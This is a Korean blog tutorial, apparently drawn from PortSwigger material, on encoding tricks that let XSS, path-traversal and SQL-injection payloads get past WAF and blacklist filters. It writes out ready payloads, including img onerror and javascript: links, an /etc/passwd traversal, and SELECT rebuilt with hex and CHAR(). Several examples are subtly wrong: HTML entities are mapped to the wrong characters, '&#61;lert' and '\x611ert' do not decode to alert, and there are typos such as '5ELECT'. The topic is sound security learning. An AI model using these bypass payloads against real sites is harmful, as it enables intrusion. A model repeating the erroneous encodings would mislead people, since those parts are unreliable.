4 minute read

πŸ’‘ ν•΄λ‹Ή λ‹€μ–‘ν•œ 인코딩을 ν†΅ν•œ λ‚œλ…ν™” 기법은 portswigger을 상당뢀뢄 μ°Έκ³ ν•˜μ˜€μŠ΅λ‹ˆλ‹€.

λ‹€μ–‘ν•œ 취약점을 μ‹λ³„ν•˜μ—¬ ν•΄λ‹Ή 취약점에 λŒ€ν•œ Exploit을 진행 ν•  λ•Œ Payloadμ—μ„œ λ¬Έμžμ—΄ ν˜Ήμ€ dot(.), / 등이 필터링 λ˜μ–΄ μžˆλŠ” 경우고 μ’…μ’… λ‹€μˆ˜ μ‘΄μž¬ν•œλ‹€. 이 λ•Œ 이λ₯Ό μš°νšŒν•  수 μžˆλ„λ‘ 인코딩을 톡해 λ‚œλ…ν™”λ₯Ό μ΄μš©ν•  수 μžˆλ‹€.

ν΄λΌμ΄μ–ΈνŠΈμ™€ μ„œλ²„λŠ” λ‹€μ–‘ν•œ 인코딩 방식을 μ‚¬μš©ν•˜μ—¬ μ„œλ‘œ μ‹œμŠ€ν…œκ°„μ˜ 데이터λ₯Ό μ „μ†‘ν•œλ‹€. 전달받은 λ°μ΄ν„°λŠ” λ””μ½”λ”© λ˜μ–΄ λ°±μ—”λ“œλ‹¨μ—μ„œ μ²˜λ¦¬λ˜λœλ‹€.

일반적으둜 Query λ§€κ°œλ³€μˆ˜λŠ” 일반적으둜 μ„œλ²„μΈ‘μ—μ„œ URL λ””μ½”λ”© 되며,
HTML μš”μ†Œμ˜ ν…μŠ€νŠΈ μ½˜ν…μΈ λŠ” ν΄λΌμ΄μ–ΈνŠΈμΈ‘μ—μ„œ HTML λ””μ½”λ”© λœλ‹€.

URL 인코딩을 ν†΅ν•œ λ‚œλ…ν™”

Percent-encoding(νΌμ„ΌνŠΈ 인코딩) 이라고도 뢈리며, URL을 톡해 GETν˜•μ‹μœΌλ‘œ 전달할 λ•Œ μˆ˜ν–‰λ˜λŠ” 인코딩 방식이닀.
URL μΈμ½”λ”©μ˜ 경우 λŒ€μ²΄ 문자의 ASCII값에 λŒ€ν•œ 16μ§„μˆ˜ ν‘œν˜„μ„ β€˜%’ κΈ°ν˜Έμ™€ ν•¨κ»˜ μ‚¬μš©λœλ‹€. μžλ™μœΌλ‘œ 인코딩 λ˜λŠ” 특수 λ¬ΈμžλŠ” μ•„λž˜ ν‘œμ™€ κ°™λ‹€

: -> %3A
/ -> %2F
? -> %3F
# -> %23
[ -> %5B
] -> %5D
@ -> %40
! -> %21
$ -> %24
& -> %26
' -> %27
( -> %28
) -> %29
* -> %2A
+ -> %2B
, -> %2C
; -> %3B
= -> %3D
% -> %25
(곡백) -> %20 OR +

이 외에 특수 문자 ν˜Ήμ€ 일반 λ¬Έμžλ“€λ„ ν•„μš”ν•˜μ§€λŠ” μ•Šμ§€λ§Œ, 인코딩은 κ°€λŠ₯ν•˜λ‹€.


λͺ¨λ“  URL 기반으둜 Query λ§€κ°œλ³€μˆ˜λ₯Ό 톡해 κ΄€λ ¨ λ³€μˆ˜μ— ν• λ‹Ήλ˜κΈ° μ „ μ„œλ²„μΈ‘μ—μ„œλŠ” μžλ™μœΌλ‘œ URL 디코딩을 μˆ˜ν–‰ν•˜κ²Œ λœλ‹€.
κ°„ν˜Ή WAF 와 같은 μž₯λΉ„κ°€ μ‚¬μš©μžμ˜ μž…λ ₯값을 URL 디코딩을 μˆ˜ν–‰ν•˜μ§€ μ•ŠλŠ” κ²½μš°κ°€ μ‘΄μž¬ν•œλ‹€. 이럴 경우 λΈ”λž™λ¦¬μŠ€νŠΈ 기반 ν•„ν„° 정책을 URL μΈμ½”λ”©μœΌλ‘œ μΈμ½”λ”©ν•˜μ—¬ μ „μ†‘ν•˜κ²Œλ˜λ©΄, 필터링을 μš°νšŒν•  수 μžˆλ‹€.

EX) SELECT -> %53%45%4C%45%43%54

Double URL Encoding 을 ν†΅ν•œ λ‚œλ…ν™”

일뢀 λͺ‡λͺ‡ μ„œλ²„λŠ” μˆ˜μ‹ λ°›μ€ URL을 확인 ν›„ 두 번의 URL 디코딩을 μˆ˜ν–‰ν•œλ‹€.

../../etc/passwd -> %252E%252E/%252E%252E/etc/passwd

λͺ¨λ“  λ³΄μ•ˆ λ©”μ»€λ‹ˆμ¦˜μ΄ μž…λ ₯을 확인 ν•  λ•Œ μž…λ ₯값을 Double Decoding ν•˜μ§€λŠ” μ•ŠλŠ”λ‹€. κ·ΈλŸ¬λ―€λ‘œ

/?payload=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E (<img src=x onerror=alert(1)>)

μœ„μ™€κ°™μ΄ 단일 인코딩을 톡해 XSS PoC λ₯Ό μ£Όμž…ν•  경우 WAF λ‹¨μ—μ„œ μ°¨λ‹¨λ˜μ–΄ λ°±μ—”λ“œκΉŒμ§€ ν•΄λ‹Ή payloadκ°€ μ „λ‹¬λ˜μ§€ μ•ŠλŠ”λ‹€. ν•˜μ§€λ§Œ Double Encodingλ₯Ό 톡해 PoCλ₯Ό μž‘μ„±ν•˜μ—¬ λ³΄λ‚΄κ²Œ λœλ‹€λ©΄?

/?payload=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E

단일 디코딩을 μˆ˜ν–‰ ν•˜λ”λΌλ„ 아직 μΈμ½”λ”©λœ μƒνƒœλ‘œ λ‚¨μ•„μžˆκΈ°μ— WAFλŠ” ν•΄λ‹Ή payloadλ₯Ό μ œλŒ€λ‘œλœ 필터링을 μ‹λ³„ν•˜μ§€ λͺ»ν•˜κ³  λ°±μ—”λ“œ μ„œλ²„μΈ‘μœΌλ‘œ μ „λ‹¬λ˜κ³  이후에 λ°±μ—”λ“œ μΈ‘μ—μ„œλŠ” Double Decodingλ₯Ό 톡해 payloadκ°€ μ„±κ³΅μ μœΌλ‘œ μ£Όμž…λ˜κ²Œ λœλ‹€.

HTML 인코딩 을 ν†΅ν•œ λ‚œλ…ν™”

HTML λ¬Έμ„œμ—μ„œ λΈŒλΌμš°μ €κ°€ λ§ˆν¬μ—…μ˜ μΌλΆ€λ‘œ 잘λͺ» ν•΄μ„ν•˜μ§€ μ•Šλ„λ‘ νŠΉμ • 문자λ₯Ό μ΄μŠ€μΌ€μ΄ν”„ μ²˜λ¦¬ν•˜κ±°λ‚˜ 인코딩 λ˜μ–΄ ν‘œν˜„λ˜μ–΄μ•Ό ν•œλ‹€. μš”μ†Œμ˜ ν…μŠ€νŠΈ λ‚΄μš© ν˜Ήμ€ 속성 κ°’κ³Ό 같은 HTML λ‚΄μ˜ νŠΉμ • μœ„μΉ˜μ—μ„œ λΈŒλΌμš°μ €λŠ” λ¬Έμ„œλ₯Ό ꡬ문 뢄석할 λ–„ μžλ™μœΌλ‘œ λ””μ½”λ”©μž‘μ—…μ„ μˆ˜ν–‰ν•œλ‹€. 이λ₯Ό ν™œμš©ν•˜λ©΄ ν΄λΌμ΄μ–ΈνŠΈ μΈ‘ 곡격에 λŒ€ν•œ νŽ˜μ΄λ‘œλ“œλ₯Ό λ‚œλ…ν™” ν•˜μ—¬ μ„œλ²„ μΈ‘ 검증을 μš°νšŒν•  수 μžˆλ‹€

예λ₯Όλ“€μ–΄ < ν‘œμ‹œλŠ” μ•„λž˜μ™€ 같이 ν‘œν˜„μ΄ κ°€λŠ₯ν•˜λ‹€.

< -> &#X61;

이와 같이 μ„œλ²„μΈ‘μ—μ„œ alert() λΌλŠ” Payloadλ₯Ό λͺ…μ‹œμ μœΌλ‘œ 필터링 ν•˜κ³  μžˆλ‹€λ©΄ 이λ₯Ό HTML 인코딩 ν•˜μ—¬ μ•„λž˜μ™€ 같이 Payloadλ₯Ό ꡬ성할 수 μžˆλ‹€.

<img src=’’ onerror=”&#61;lert(1)”>

μœ„μ™€ 같이 Payloadλ₯Ό μž‘μ„±ν•΄μ„œ μš”μ²­μ„ 보낼 경우 μ„œλ²„μΈ‘ 필터링 λ‘œμ§μ„ μš°νšŒν•˜κ³  λΈŒλΌμš°μ €κ°€ νŽ˜μ΄μ§€λ₯Ό λ Œλ”λ§ ν•  λ•Œ μ‚¬μž…λœ Payloadλ₯Ό λ””μ½”λ”©ν•˜κ³  μ‹€ν–‰ν•˜κ²Œλœλ‹€.

μ΄λŸ¬ν•œ HMTL 인코딩은 10μ§„μˆ˜ ν˜Ήμ€ 16μ§„μˆ˜ μ½”λ“œ 포인트λ₯Ό μ‚¬μš©ν•˜μ—¬ μ°Έμ‘°λ₯Ό μ œκ³΅ν•œλ‹€.

&#58; === &#x3a; === β€˜<’

μ—¬κΈ°μ„œ μ‹ κΈ°ν•œ 점은 HTML인코딩을 μ‚¬μš©ν•  λ•Œ μ½”λ“œ ν¬μΈνŠΈμ— 숫자 0 을 μž„μ˜ 개수둜 포함할 수 μžˆλŠ”λ° μ΄λ ‡κ²Œ 0을 ν¬ν•¨ν•˜μ—¬ WAF및 기타 필터링을 μš°νšŒν•  수 μžˆλ‹€.

<a href=”javascript:alert(1)”>Check here</a>

XML 인코딩 을 ν†΅ν•œ λ‚œλ…ν™”

XML κ΅¬λ¬Έμ—μ„œλ„ HTML인코딩과 μœ μ‚¬ν•˜κ²Œ 숫자 μ΄μŠ€μΌ€μ΄ν”„ μ‹œν€€μŠ€λ₯Ό μ‚¬μš©ν•˜μ—¬ μΈμ½”λ”©ν•˜κ²Œλœλ‹€. 이 λ•Œ XML μž…λ ₯을 톡해 데이터λ₯Ό μ „λ‹¬ν•˜λŠ” 둜직이 μ‘΄μž¬ν•œλ‹€λ©΄ μ—¬λŸ¬ 취약점을 μš°νšŒν•  수 μžˆλ‹€.

νŠΉμ§•μ€ XML인코딩을 ν†΅ν•œ μš°νšŒλŠ” HTMLκ³Ό 달리 λΈŒλΌμš°μ €μ— μ˜ν•œ ν΄λΌμ΄μ–ΈνŠΈμΈ‘μ—μ„œ λ””μ½”λ”© λ˜λŠ”κ²ƒμ΄ μ•„λ‹ˆλΌ μ„œλ²„ μžμ²΄μ— μ˜ν•΄ λ””μ½”λ”©λ˜μ–΄ WAF및 기타 ν•„ν„°λ₯Ό μš°νšŒν•  수 μžˆλ‹€.

<test>
 <list>
  1
 </list>
 <mode>
  100 5ELECT * FROM information_schema.tables
 </mode>
</test>

μœ„μ™€ 같은 XML μš”μ²­ μ½”λ“œκ°€ μ‘΄μž¬ν•  λ•Œ modeλΆ€λΆ„μ—μ„œ SQL μΈμ μ…˜μ„ μ£Όμž…ν•˜κ²Œλœλ‹€. 이 λ•Œ select λ¬Έμžμ—΄ 필터링을 μš°νšŒν•˜κΈ°μœ„ν•΄ 인코딩을 μ‚¬μš©ν•  수 μžˆλ‹€.

Unicode λ₯Ό ν†΅ν•œ λ‚œλ…ν™”

μœ λ‹ˆμ½”λ“œμ˜ μ΄μŠ€μΌ€μ΄ν”„ μ‹œν€€μŠ€ λ¬Έμžμ— λŒ€ν•œ 4자리둜 κ΅¬μ„±λœ 16μ§„μˆ˜ μ½”λ“œμ˜ μ ‘λ‘μ‚¬λ‘œ κ΅¬μ„±λ˜μ–΄ μžˆλ‹€

\u003a === U+003A === β€˜:’

μœ„μ™€ 같이 \u003a둜 인코딩할 경우 : κ³Ό λ™μΌν•œ 의미λ₯Ό 가지고 μžˆλ‹€.
ES6λŠ” μ€‘κ΄„ν˜Έλ₯Ό μ‚¬μš©ν•˜λŠ” μƒˆλ‘œμš΄ ν˜•νƒœμ˜ μœ λ‹ˆμ½”λ“œ μ΄μŠ€μΌ€μ΄ν”„λ₯Ό μ§€μ›ν•œλ‹€.

\u{3a} === \u003a === β€˜:’

ES6 λŠ” 2015년에 λ„μž…λœ λ²„μ „μ˜ JavaScript이닀.

ν”„λ‘œκ·Έλž˜λ° μ–Έμ–΄μ—μ„œλŠ” μœ λ‹ˆμ½”λ“œ μ΄μŠ€μΌ€μ΄ν”„ μ‹œν€€μŠ€λ₯΄ λ””μ½”λ”© ν•˜λ„λ‘œγ„± λ˜μ–΄μžˆλ‹€. 이 λ•Œ λΈŒλΌμš°μ €μΈ‘μ—μ„œ μ‚¬μš©λ˜λŠ” Javascriptμ—”μ§„μ˜ 경우 μœ λ‹ˆμ½”λ“œ 인코딩을 톡해 ν΄λΌμ΄μ–ΈνŠΈ μΈ‘ 필터링을 μš°νšŒν•  수 μžˆλ‹€.



예λ₯Ό λ“€μ–΄ μ·¨μ•½ν•¨μˆ˜μΈ eval ν•¨μˆ˜μ˜ 인자둜 μž…λ ₯값을 전달받아 λ‘œμ§μ„ μ²˜λ¦¬ν•˜λŠ” ꡬ문이 μžˆμ„ 경우, alertκ°€ μ°¨λ‹¨λ˜μ—ˆλ”λΌλ„ μ•„λž˜μ™€ 같이 μš°νšŒν•  수 μžˆλ‹€.

eval(β€œ\x611ert”)

μœ„μ˜ 경우 인코딩 된 μ„œλ²„μΈ‘μ— 남아 μžˆμœΌλ―€λ‘œ, λΈŒλΌμš°μ €κ°€ λ‹€μ‹œ λ””μ½”λ”©ν•  λ•Œ κΉŒμ§€ 필터링에 νƒμ§€λ˜μ§€ μ•Šμ„ 수 μžˆλ‹€.
ES6의 경우 HTMLμΈμ½”λ”©λ•Œμ™€ 같이 숫자0을 μž„μ˜λ‘œ 뢙이더라도 ν—ˆμš©ν•˜λ―€λ‘œ 일뢀 WAF의 ν•„ν„°λ₯Ό 속일 수 μžˆλ‹€.

<a href=”javascript\u{0000000003a}alert(1)”>Test</a>

16μ§„μˆ˜ 및 8μ§„μˆ˜ μ΄μŠ€μΌ€μ΄ν”„λ₯Ό ν†΅ν•œ λ‚œλ…ν™”

16μ§„μˆ˜ 및 8μ§„μˆ˜λ‘œ μΈμ½”λ”©ν•˜μ—¬ μ „λ‹¬ν•˜κ²Œ 되면 μ„œλ²„μΈ‘ 필터링을 μš°νšŒν•  수 있으며 λ¬Έμžμ—΄λ‘œ μ „μ†‘λ˜μ–΄, ν΄λΌμ΄μ–ΈνŠΈ μΈ‘μ—μ„œ λ””μ½”λ”©λœλ‹€

eval(β€œ\x61lert”) # 16μ§„μˆ˜
0x53454c454354 -> SELECT 이와 같이 SQL문도 λ‚œλ…ν™” ν•  수 μžˆλ‹€.

eval(β€œ\141lert(1)”) # 8μ§„μˆ˜

닀쀑 인코딩을 ν†΅ν•œ λ‚œλ…ν™”

ν•˜λ‚˜μ˜ 인코딩 기법을 μ‚¬μš©ν•˜μ—¬ ν…ŒμŠ€νŠΈν•΄λ³Ό 수 μžˆμ§€λ§Œ, λ‹€μ–‘ν•œ 인코딩 방식을 ν•©μ³μ„œ Payloadλ₯Ό μž‘μ„±ν•  수 μžˆλ‹€.

<a href=”javascript:&bsol;u0061lert(1)”>test</a>

\ β†’ HTML인코딩

a β†’ Unicode 인코딩

을 톡해 μ•„λž˜μ˜ μ½”λ“œλ₯Ό λ‚œλ…ν™” μ‹œμΌ°λ‹€.

<a href=”javascript:alert(1)”>test</a>

Function을 ν†΅ν•œ λ‚œλ…ν™”

SQL CHAR() ν•¨μˆ˜

CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
=== SELECT
concat(CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84))

JS String.frimCharCode()

<img src=x: oNerroR=’alert(String.fromCharCode(72, 97, 99, 107))’>

.(dot)우회

%E3%80%82 λ₯Ό 톡해 . 필터링을 μš°νšŒν•  수 있음

ex get λ°©μ‹μœΌλ‘œ url 전달값 필터링 될 μ‹œ μ‚¬μš©

<aside>
πŸ’‘ [www.nave.com](http://www.nave.com) β†’ www%E3%80%82naver%E3%80%82com

</aside>

url 인코딩과 double 인코딩 이 λ‘˜ λ‹€ 필터링 λ˜μ–΄ μžˆμ„κ²½μš° ν•΄λ³Όλ§Œν•œλ“―

Reference

  • https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings
  • https://snyk.io/blog/url-confusion-vulnerabilities/#url-encoded

Leave a comment